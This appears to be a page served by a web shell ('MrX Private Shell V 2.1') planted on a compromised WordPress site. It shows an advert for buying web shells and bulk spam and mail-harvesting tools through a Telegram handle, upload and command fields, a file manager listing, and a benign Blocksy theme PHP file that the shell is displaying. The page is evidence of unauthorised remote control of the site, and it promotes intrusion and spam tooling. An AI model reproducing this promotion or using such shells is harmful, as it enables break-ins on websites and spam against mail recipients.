__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Blocksy;

/**
 * Manages Blocksy theme widgets.
 *
 * ## EXAMPLES
 *
 *     # Move all widgets to inactive area
 *     $ wp blocksy widgets drop
 */
class WidgetsCli {
	public function __construct() {
		\WP_CLI::add_command('blocksy widgets', $this);
	}

	/**
	 * Move all widgets to the inactive widgets area.
	 *
	 * ## OPTIONS
	 *
	 * <none>
	 *
	 * ## EXAMPLES
	 *
	 *     wp blocksy widgets drop
	 *
	 * @when after_wp_load
	 *
	 * @subcommand drop
	 */
	public function drop_widgets($args, $assoc_args) {
		$sidebars_widgets = get_option('sidebars_widgets', []);

		if (! isset($sidebars_widgets['wp_inactive_widgets'])) {
			$sidebars_widgets['wp_inactive_widgets'] = [];
		}

		foreach ($sidebars_widgets as $sidebar_id => $widgets) {
			if (! $widgets) continue;
			if ($sidebar_id === 'wp_inactive_widgets') {
				continue;
			}

			if ($sidebar_id === 'array_version') {
				continue;
			}

			foreach ($widgets as $widget_id) {
				$sidebars_widgets['wp_inactive_widgets'][] = $widget_id;
			}

			$sidebars_widgets[$sidebar_id] = [];
		}

		update_option('sidebars_widgets', $sidebars_widgets);
		unset($sidebars_widgets['array_version']);

		set_theme_mod('sidebars_widgets', [
			'time' => time(),
			'data' => $sidebars_widgets
		]);
	}
}

Filemanager

Name Type Size Permission Actions
demo.php File 10.71 KB 0775
extension.php File 3.16 KB 0775
license.php File 1.18 KB 0775
tool.php File 2.01 KB 0775
widgets.php File 1.24 KB 0775
Filemanager